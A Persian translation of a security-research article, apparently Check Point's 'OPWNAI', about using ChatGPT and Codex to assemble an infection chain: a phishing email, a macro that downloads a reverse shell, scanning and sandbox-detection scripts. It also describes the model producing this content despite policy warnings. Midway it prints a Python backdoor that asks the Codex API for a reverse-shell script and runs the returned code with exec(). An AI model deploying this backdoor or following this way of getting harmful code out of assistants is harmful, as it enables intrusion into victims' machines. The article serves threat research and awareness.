OPWNAI: با هوش مصنوعی می توانید از یک فاجعه جلوگیری کنید یا با مشکلات کنار بیایید

OPWNAI: با هوش مصنوعی می توانید از یک فاجعه جلوگیری کنید یا با مشکلات کنار بیایید

مقدمه

با توجه به ChatGPT انتشار رابط جدید OpenAI برای LLM، در چند هفته اخیر، انفجاری از علاقه به هوش مصنوعی عمومی در رسانه‌ها و شبکه‌های اجتماعی رخ داده است. این مدل در بسیاری از برنامه‌های تحت وب استفاده می‌شود و به دلیل توانایی آن در ایجاد کدهای خوب نوشته‌شده و کمک به فرآیند توسعه مورد تحسین و توجه قرار گرفته است. اگرچه این تکنولوژی همواره ریسک‌هایی را به همراه آورده است. به عنوان مثال، پایین آوردن نوار تولید کد باعث می‌شود حتی افراد و عواملی که مهارت بسیار کم‌تری دارند به راحتی حملات سایبری را انجام می‌دهند.

این مقاله Check Point Research نقاط بررسی شده را دربرمی‌گیرد:

• چگونه می‌توان از مدل‌های هوش مصنوعی (AI) برای ایجاد یک جریان آلوده کامل یعنی از فیشینگ هدفدار تا اجرای شل معکوس استفاده کرد.

• چگونه محققان یک بکدور اضافی ایجاد کردند که به صورت پویا اسکریپت‌هایی را که توسط هوش مصنوعی در لحظه ایجاد می‌کند، اجرا می کند.

• نمونه‌هایی از تاثیر مثبت OpenAI در سمت مدافعان و اینکه چگونه در کارهای روزمره محققان کمک می‌کند.
دنیای امنیت سایبری به سرعت در حال تغییر است. تاکید و توجه بر اهمیت تاثیر این فناوری جدید و در حال توسعه بر چشم‌انداز تهدید از دو جنبه‌ی خوب و بد بسیار ضروری است. در حالی که این فناوری جدید به مدافعان بسیار کمک می‌کند، نوار ورودی موردنیاز برای عوامل تهدید کم مهارت در جهت اجرای عملیاتی همچون فیشینگ و توسعه بدافزارها کاهش می‌دهد.

پیش‌زمینه

مدل‌های هوش مصنوعی در زمینه‌های مختلف، از تولید تصویر تا کدنویسی، پیشرفت فوق‌العاده‌ای داشته اند، با نرم‌افزار معروف AlphaGo که برترین حرفه‌ای های بازی را در بازی Go در سال 2016 شکست داد و تشخیص گفتار و ترجمه ماشینی را بهبود بخشید و دستیاران مجازی همچون Siri و Alexa را که نقش مهمی در زمدگی روزمره ما دارند را به ارمغان آورد.
اخیرا به دلیل انتشار ChatGPT، یک چت بات نمونه اولیه، علاقه عمومی به هوش مصنوعی افزایش یافته است که ” هدف آن کمک به طیف گسترده‌ای از وظایف و پاسخگویی به سوالات در حد توان من است”. اگر در چند هفته گذشته ارتباط خود را با رسانه‌های اجتماعی قطع نکرده باشید، به احتمال زیاد تصاویر بیشماری از تعاملات ChatGPT از نوشتن شعر تا پاسخ دادن به سوالات برنامه‌نویسی را دیده‌اید.

با این حال، مانند هر فناوری دیگری، افزایش محبوبیت ChatGPT نیز خطرات بیشتری را به همراه دارد. به عنوان مثال، توییتر مملو از نمونه‌هایی از کدهای مخرب یا دیالوگ‌های نوشته شده از ChatGPT است. اگرچه OpenAI تلاش زیادی برای جلوگیری از سوء استفاده از هوش مصنوعی انجام داده است، اما هنوز هم میتوان از آن برای تولید کدهای خطرناک استفاده کرد.

برای نشان دادن این نکته، تصمیم گرفتیم از ChatGPt و یک پلتفرم دیگر، OpenAI’s Codex، استفاده کنیم، یک سیستم مبتنی بر هوش مصنوعی که زبان طبیعی را به کد ترجمه می‌کند، در زبان پایتون بسیار توانا و ماهر است اما در زبان‌های دیگر هم مهارت دارد. ما یک جریان آلوده کامل را ایجاد کردیم و محدودیت‌های زیر را برای خود قائل شدیم: ما حتی یک خط کد هم ننوشتیم و در عوض به هوش مصنوعی این اجازه را دادیم که همه کارها را انجام دهد. ما فقط قطعات پازل را در کنار هم قرار دادیم و حمله حاصل را اجرا کردیم.

ما تصمیم گرفتیم که هدفمان را با اجرای یک جریان واحد نشان دهیم، یک ایمیل فیشینگ با یک فایل مخرب اکسل مجهز به ماکروهایی که شل معکوس را دانلود می‌کند (یکی از موارد موردعلاقه در بین عوامل جرایم سایبری)

ChatGPT: یک فیشر (فیشینگ‌کننده) با استعداد

در مرحله اول، یک ایمیل فیشینگ مورد قبول ایجاد کردیم. این کار را نمی‌توان توسط Codex انجام داد. زیرا فقط می‌تواند کد تولید کند بنابراین ما از ChatGPT خواستیم که یک شرکت میزبان را جعل کند.

ChatGPT
تصویر 1- ایمیل فیشینگ اصلی ایجاد شده توسط ChatGPT

توجه داشته باشید در حالی که OpenAI اشاره می‌کند که این محتوا ممکن است خط مشی آن را نقض کند، اما خروجی آن شروع خوبی را نمایش می ‌دهد. در تعامل بیشتر با ChatGPT می‌توانیم درخواست‌های خود را واضح‌تر روشن کنیم: برای جلوگیری از میزبانی یک زیرساخت فیشینگ اضافی، می‌خواهیم تارگت به سادگی یک فایل اکسل را دانلود کند. صرفا در خواست از ChatGPTبرای تکرار مجدد، یک ایمیل فیشینگ عالی ایجاد می‌کند:

تصویر 2- ایمیل فیشینگ ایجاد شده توسط ChatGPt

فرآیند تکرار برای کار با مدل، به ویژه برای کد، ضروری است. مرحله بعد یعنی ایجاد کد مخرب VBA در اکسل نیز به چندین بار تکرار نیاز دارد.

این اولین دستور است:

تصویر 3- کد VBA ساده ایجاد شده توسط ChatGPT

این کد بسیار ساده است و از کتابخانه‌هایی مانند WinHttpReq استفاده می‌کند. با این‌حال با چندبار تکرار کوتاه و چت‌های متوالی، ChatGPT کدهای بهتری تولید می‌کند.

تصویر 4 – نسخه دیگری از کد VBA

این هنوز یک ماکرو بسیار ابتدایی است اما تصمیم گرفتیم که در همینجا کار را متوقف کنیم چون ابهام سازی و اصلاح کد VBA می‌تواند تا بی‌نهایت ادامه داشته باشد. ChatGPT ثابت کرد که دستورات متنی خوب می‌توانند کدهای مخرب کارآمد به شما تحویل دهند.

Codex- هوش مصنوعی یا نام آینده یک implant ؟

با آگاهی از اینکه ChatGPT می‌تواند کدهای مخرب تولید کند، کنجکاو بودیم بدانیم که Codex که هدف اصلی آن ترجمه زبان طبیعی به کد است، چه کاری می‌تواند انجام دهد. در ادامه تمامی کدها با Codex نوشته شده است. ما عمدا ابتدایی‌ترین پیاده‌سازی‌های هر تکنیک را ارائه می‌دهیم تا ایده را بدون اشتراک‌گذاری کدهای مخرب نشان دهیم.
ابتدا از آن خواستیم که با استفاده از IP و پورت نگهدارنده یک شل معکوس اولیه ایجاد کند.

تصویر 5 – شل معکوس اولیه ساخته شده توسط Codex

این یک شروع عالی است اما اگر تعداد ابزارهای مخرب وجود داشه باشند که به نفوذ ما کمک کنند، بهتر خواهد شد. شاید بررسی برخی از ابزارهای اسکن، مانند بررسی اینکه آیا سرویسی برای Sql Injection و اسکن پورت باز است یا خیر.

تصویر 6 – ابتدایی‌ترین پیاده‌سازی اگر SQLi توسط Codex ایجاد شود
تصویر 7 – اسکریپت ابتدایی اسکن پورت

این نیز شروع خوبی است، اما ما همچنین می‌خواهیم برخی از اقدامات کاهشی را براس سخت‌تر کردن زندگی مدافعان اضافه کنیم. ایا می‌توانیم تشخیص دهیم که این برنامه بر روی sandbox اجرا می‌شود؟ پاسخ اصلی ارائه‌شده توسط Codex در زیر آمده است. البته- با اضافه کردن vendorهای دیگر و بررسی‌های بیشتر بهبود خواهد یافت.

تصویر 8 – اسکریپت ابتدایی تشخیص sandbox

می‌بینیم که در حال پیشرفت هستیم. با اینحال، همه‌ی این‌ها کدهای پایتون مستقل هستند. حتی اگر خوش مصنوعی تمام این کدها را برای ما یکجا جمع کند (که می‌تواند) نمی‌توانیم مطمئن باشیم که ماشین آلوده شده یک مترجم (مفسر) خواهد داشت. برای یافتن راهی جهت اجرای آن بر روی دستگاه‌های ویندوزی ساده‌ترین راه‌حل ممکن کامپایل آن در exe است. بار دیگر دوستداران هوش مصنوعی به ما توجه کنید:

تصویر 9 – تبدیل از پایتون به exe

و به همین ترتیب جریان آلوده شده کامل می‌شود. ما یک ایمیل فیشینگ به همراه سند اکسل پیوست شده شامل کدهای مخرب VBA که شل معکوس را در ماشین هدف دانلود می‌کند، ایجاد کردیم. قسمت سخت کار توسط هوش مصنوعی انجام شد و تنها کاری که برای ما باقی مانده، اجرای حمله است.

دانشی در اسکریپت‌نویسی ندارید؟ نگران نباشید داشتن حداقل دانش زبان‌انگلیسی کافی‌است.

ما کنجکاو بودیم که ببینیم سوراخ خرگوش تا کجا می‌رود( یک اصطلاح). ایجاد اسکریپت‌ها و ماژول‌های اولیه خوب است، اما یک حمله سایبری واقعی نیاز به انعطاف‌پذیری دارد زیرا نیازهای مهاجمان در طول یک نفوذ ممکن است بسته به محیط آلوده، به سرعت تغییر کند. برای اینکه ببینیم چگونه می‌توانیم از توانایی‌های هوش مصنوعی برای ایجاد کد در لحظه جهت پاسخ به این نیاز پویا استفاده کنیم، کد کوتاه پایتون زیر را ایجاد کردیم. پس از کامپایل شدن در PE، exe، ابتدا شل معکوس ذکر شده قبلی را اجرا می‌کند. پس از آن، منتظر دستورات cmd- با پرچم می‌شود و اسکریپت‌های پایتون را که در لحظه با جستجو در Codex API و ارائه یک دستور ساده به زبان انگلیسی برای آن ایجاد شده‌اند، اجرا می‌کند.

import os
import sys
import openai
import argparse
import socket
import winreg

openai.api_key =

parser = argparse.ArgumentParser()
parser.add_argument('-cmd', type=ascii, help='Prompt that will be run on infected machine')
args = parser.parse_args()

def ExecuteReverseShell():
response = openai.Completion.create(
model="code-davinci-002",
prompt="\"\"\"\nExecute reverse shell script on a windows machine and connect to IP address  port .\n\"\"\"",
temperature=0,
max_tokens=1000,
top_p=1,
frequency_penalty=0,
presence_penalty=0
)
exec(response.choices[0].text)

def ExecutePrompt(prompts):
response = openai.Completion.create(
model="code-davinci-002",
prompt="\"\"\"\n"+prompts+"\n\"\"\"",
temperature=0,
max_tokens=1000,
top_p=1,
frequency_penalty=0,
presence_penalty=0
)
exec(response.choices[0].text)

if __name__ == '__main__':
if len(sys.argv) == 1:
ExecuteReverseShell()
if args.cmd:
ExecutePrompt(args.cmd)

اکنون که چند نمونه از اجرای اسکریپت زیر را داریم، بردارهای احتمالی ایجاد این نوع حمله را به یک خواننده کنجکاو واگذار می‌کنیم:

تصویر 10- اجرای کد ایجاد شده توسط کد در لحظه براساس ورودی به زبان انگلیسی

استفاده از Codex برای تقویت مدافعان

تا این مرحله، ما دیدگاه عامل تهدید را با استفاده از LLM ارائه کرده‌ایم. برای روشن‌تر شدن قضیه، این فناوری به خودی خود بد نیست و می‌تواند توسط هر طرفی استفاده شود. همانطور که فرآیندهای حمله را می توان اوتومات کرد، اقدامات کاهشی در سمت مدافعان نیز می‌توانند اوتومات شوند.

برای نشان دادن این موضوع، از Codex خواستیم تا دو تابع ساده پایتون بنویسد: یکی به جستجوی URLها در داخل فایل‌ها با استفاده از پکیج YARA کمک می‌کند، و دیگری که VirusTotal را برای تعداد شناسایی‌های یک hash خاص جستجو می‌کند. با وجود اینکه پیاده‌سازی‌های open-source موجود بهتری از این اسکریپت‌ها توسط جامعه مدافعان نوشته شده است، ما امیدواریم که تخیل تیم‌های آبی و شکارچیان تهدید را برای استفاده از LLMهای جدید برای خودکارسازی و بهبود کارشان برانگیزیم.

OPWNAI
تصویر 11- کوئری VT API جهت بررسی تعداد شناسایی‌ها برای یک hash

 

OPWNAI
عکس 12- اسکریپت Yara که رشته‌های URL را در فایل بررسی می‌کند.

نتیجه‌گیری:

نقش رو به گسترش LLM و AI در دنیای سایبری پر از فرصت است، اما با خطراتی نیز همراه است. اگرچه می‌توان از کد و جریان آلوده شدن ارائه شده در این مقاله در برابر استفاده از روش‌های ساده دفاع کرد، اما این فقط یک نمایش اولیه از تأثیر تحقیقات هوش مصنوعی بر امنیت سایبری است. اسکریپت‌های متعدد را می‌توان به راحتی، با تغییرات جزئی و با استفاده از عبارات متفاوت ایجاد کرد. فرآیندهای حمله پیچیده نیز می‌توانند با استفاده از APIهای LLM برای تولید مصنوعات مخرب دیگر، به خوبی اوتومات شوند. مدافعان و شکارچیان تهدید باید نسبت به اتخاذ سریع این فناوری هوشیار و محتاط باشند، در غیر این صورت جامعه ما یک قدم عقب‌تر از مهاجمان خواهد بود.

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *